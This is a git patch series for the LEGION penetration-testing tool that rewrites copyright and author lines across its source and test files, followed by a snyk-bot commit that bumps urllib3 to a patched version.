@@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ScriptExample.py b/parsers/examples/ScriptExample.py index f157b328..6d402d5b 100644 --- a/parsers/examples/ScriptExample.py +++ b/parsers/examples/ScriptExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ServiceExample.py b/parsers/examples/ServiceExample.py index 28a0ff75..13809cae 100644 --- a/parsers/examples/ServiceExample.py +++ b/parsers/examples/ServiceExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/SessionExample.py b/parsers/examples/SessionExample.py index ae9ef989..aed1b64a 100644 --- a/parsers/examples/SessionExample.py +++ b/parsers/examples/SessionExample.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/precommit.sh b/precommit.sh index 667cb0bb..a2234284 100755 --- a/precommit.sh +++ b/precommit.sh @@ -27,4 +27,4 @@ rm -Rf ./scripts/CloudFail/ # Removed backups rm -Rf ./backup/*.conf -find . -type f -exec sed -i 's/Copyright (c) 2023 Gotham Security/Copyright (c) 2023 Gotham Security/' {} \; +find . -type f -exec sed -i 's/Copyright (c) 2024 Shane Scott/Copyright (c) 2024 Shane Scott/' {} \; diff --git a/tests/app/actions/updateProgress/test_UpdateProgressObservable.py b/tests/app/actions/updateProgress/test_UpdateProgressObservable.py index f781ce62..030f2df9 100644 --- a/tests/app/actions/updateProgress/test_UpdateProgressObservable.py +++ b/tests/app/actions/updateProgress/test_UpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest diff --git a/tests/app/http/test_isHttps.py b/tests/app/http/test_isHttps.py index 84e8854d..0ab6b46c 100644 --- a/tests/app/http/test_isHttps.py +++ b/tests/app/http/test_isHttps.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import patch, MagicMock diff --git a/tests/app/shell/test_DefaultShell.py b/tests/app/shell/test_DefaultShell.py index 0cd7f827..5e6a5a1a 100644 --- a/tests/app/shell/test_DefaultShell.py +++ b/tests/app/shell/test_DefaultShell.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest import os.path diff --git a/tests/app/test_ModelHelpers.py b/tests/app/test_ModelHelpers.py index c47ece58..e5513d81 100644 --- a/tests/app/test_ModelHelpers.py +++ b/tests/app/test_ModelHelpers.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2019 GoVanguard +LEGION (https://shanewilliamscott.com) +Copyright (c) 2019 Hackman238 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest diff --git a/tests/app/test_ProjectManager.py b/tests/app/test_ProjectManager.py index e9a67ba9..9400359e 100644 --- a/tests/app/test_ProjectManager.py +++ b/tests/app/test_ProjectManager.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest import mock diff --git a/tests/app/test_Timing.py b/tests/app/test_Timing.py index faeab37e..a68b6a81 100644 --- a/tests/app/test_Timing.py +++ b/tests/app/test_Timing.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from datetime import datetime diff --git a/tests/app/tools/nmap/test_DefaultNmapExporter.py b/tests/app/tools/nmap/test_DefaultNmapExporter.py index dea33fa5..48ea0453 100644 --- a/tests/app/tools/nmap/test_DefaultNmapExporter.py +++ b/tests/app/tools/nmap/test_DefaultNmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import MagicMock, patch diff --git a/tests/app/tools/nmap/test_NmapHelpers.py b/tests/app/tools/nmap/test_NmapHelpers.py index 9098458e..8c5f1584 100644 --- a/tests/app/tools/nmap/test_NmapHelpers.py +++ b/tests/app/tools/nmap/test_NmapHelpers.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import MagicMock diff --git a/tests/app/tools/test_ToolCoordinator.py b/tests/app/tools/test_ToolCoordinator.py index 433419c2..24d999ef 100644 --- a/tests/app/tools/test_ToolCoordinator.py +++ b/tests/app/tools/test_ToolCoordinator.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest import mock diff --git a/tests/db/repositories/test_CVERepository.py b/tests/db/repositories/test_CVERepository.py index 6381c589..b1f1bcf9 100644 --- a/tests/db/repositories/test_CVERepository.py +++ b/tests/db/repositories/test_CVERepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import patch, MagicMock diff --git a/tests/db/repositories/test_HostRepository.py b/tests/db/repositories/test_HostRepository.py index ac293477..19f10387 100644 --- a/tests/db/repositories/test_HostRepository.py +++ b/tests/db/repositories/test_HostRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import MagicMock, patch diff --git a/tests/db/repositories/test_NoteRepository.py b/tests/db/repositories/test_NoteRepository.py index 67df228d..388302a3 100644 --- a/tests/db/repositories/test_NoteRepository.py +++ b/tests/db/repositories/test_NoteRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import MagicMock, patch diff --git a/tests/db/repositories/test_PortRepository.py b/tests/db/repositories/test_PortRepository.py index e954f114..550bea8f 100644 --- a/tests/db/repositories/test_PortRepository.py +++ b/tests/db/repositories/test_PortRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2018-2019 GoVanguard +LEGION (https://shanewilliamscott.com) +Copyright (c) 2018-2019 Hackman238 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest import mock diff --git a/tests/db/repositories/test_ProcessRepository.py b/tests/db/repositories/test_ProcessRepository.py index 59c43e0a..949849fb 100644 --- a/tests/db/repositories/test_ProcessRepository.py +++ b/tests/db/repositories/test_ProcessRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest import mock diff --git a/tests/db/repositories/test_ServiceRepository.py b/tests/db/repositories/test_ServiceRepository.py index ed063f8e..2006897e 100644 --- a/tests/db/repositories/test_ServiceRepository.py +++ b/tests/db/repositories/test_ServiceRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import MagicMock, patch diff --git a/tests/db/test_filters.py b/tests/db/test_filters.py index 5eba7356..ee8ba4ae 100644 --- a/tests/db/test_filters.py +++ b/tests/db/test_filters.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import patch diff --git a/tests/db/test_validation.py b/tests/db/test_validation.py index 9207ef4d..587486bb 100644 --- a/tests/db/test_validation.py +++ b/tests/db/test_validation.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest diff --git a/tests/parsers/test_Parser.py b/tests/parsers/test_Parser.py index bbc1c3a7..c5ae0a77 100644 --- a/tests/parsers/test_Parser.py +++ b/tests/parsers/test_Parser.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from os.path import dirname, join diff --git a/tests/ui/observers/test_QtUpdateProgressObserver.py b/tests/ui/observers/test_QtUpdateProgressObserver.py index 17a9d6f8..7a6df5d2 100644 --- a/tests/ui/observers/test_QtUpdateProgressObserver.py +++ b/tests/ui/observers/test_QtUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest.mock import patch diff --git a/tests/ui/test_eventfilter.py b/tests/ui/test_eventfilter.py index b84cb3b5..3170f728 100644 --- a/tests/ui/test_eventfilter.py +++ b/tests/ui/test_eventfilter.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ import unittest from unittest import mock diff --git a/ui/ViewHeaders.py b/ui/ViewHeaders.py index fb82e405..d2fc21fd 100644 --- a/ui/ViewHeaders.py +++ b/ui/ViewHeaders.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ hostTableHeaders = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", diff --git a/ui/ViewState.py b/ui/ViewState.py index f93e100c..3f77892b 100644 --- a/ui/ViewState.py +++ b/ui/ViewState.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.auxiliary import Filters diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index 31b9c39f..9e06b1fc 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/ancillaryDialog.py b/ui/ancillaryDialog.py index 1dbdd7e6..419a5cdc 100644 --- a/ui/ancillaryDialog.py +++ b/ui/ancillaryDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/configDialog.py b/ui/configDialog.py index 0092e695..ff83c50f 100644 --- a/ui/configDialog.py +++ b/ui/configDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/dialogs.py b/ui/dialogs.py index 326eb488..f7d062e8 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/eventfilter.py b/ui/eventfilter.py index d078719d..29242ca0 100644 --- a/ui/eventfilter.py +++ b/ui/eventfilter.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/gui.py b/ui/gui.py index df1f782d..c74b409a 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/helpDialog.py b/ui/helpDialog.py index ba37dabf..94dfb341 100644 --- a/ui/helpDialog.py +++ b/ui/helpDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/models/cvemodels.py b/ui/models/cvemodels.py index c0c26923..f89624c7 100644 --- a/ui/models/cvemodels.py +++ b/ui/models/cvemodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/models/hostmodels.py b/ui/models/hostmodels.py index 8e34e5e8..043e682c 100644 --- a/ui/models/hostmodels.py +++ b/ui/models/hostmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/models/processmodels.py b/ui/models/processmodels.py index 6ce58789..3d2622f5 100644 --- a/ui/models/processmodels.py +++ b/ui/models/processmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/models/scriptmodels.py b/ui/models/scriptmodels.py index 0c2913f0..7e192cc0 100644 --- a/ui/models/scriptmodels.py +++ b/ui/models/scriptmodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/models/servicemodels.py b/ui/models/servicemodels.py index d11126f5..5b1857cc 100644 --- a/ui/models/servicemodels.py +++ b/ui/models/servicemodels.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/observers/QtUpdateProgressObserver.py b/ui/observers/QtUpdateProgressObserver.py index 96c88048..74c945da 100644 --- a/ui/observers/QtUpdateProgressObserver.py +++ b/ui/observers/QtUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -13,7 +13,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -Author(s): Shane Scott (sscott@gotham-security.com), Dmitriy Dubson (d.dubson@gmail.com) +Author(s): Shane Scott (sscott@shanewilliamscott.com), Dmitriy Dubson (d.dubson@gmail.com) """ from app.actions.updateProgress.AbstractUpdateProgressObserver import AbstractUpdateProgressObserver from ui.ancillaryDialog import ProgressWidget diff --git a/ui/settingsDialog.py b/ui/settingsDialog.py index c1acb533..bd957850 100644 --- a/ui/settingsDialog.py +++ b/ui/settingsDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/view.py b/ui/view.py index ccfa3075..8b909902 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://gotham-security.com) -Copyright (c) 2023 Gotham Security +LEGION (https://shanewilliamscott.com) +Copyright (c) 2024 Shane Scott This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later From 1fc0762c25d8ccc7c2c67dc01bb127dab920c421 Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Thu, 31 Oct 2024 22:57:40 +0000 Subject: [PATCH 450/450] fix: requirements.txt to reduce vulnerabilities The following vulnerabilities are fixed by pinning transitive dependencies: - https://snyk.io/vuln/SNYK-PYTHON-URLLIB3-174323 --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index d197602f..ce15286e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,5 +13,5 @@ GitPython pandas flake8 rich -urllib3==1.23 +urllib3==1.24.3 selenium==3.141.0

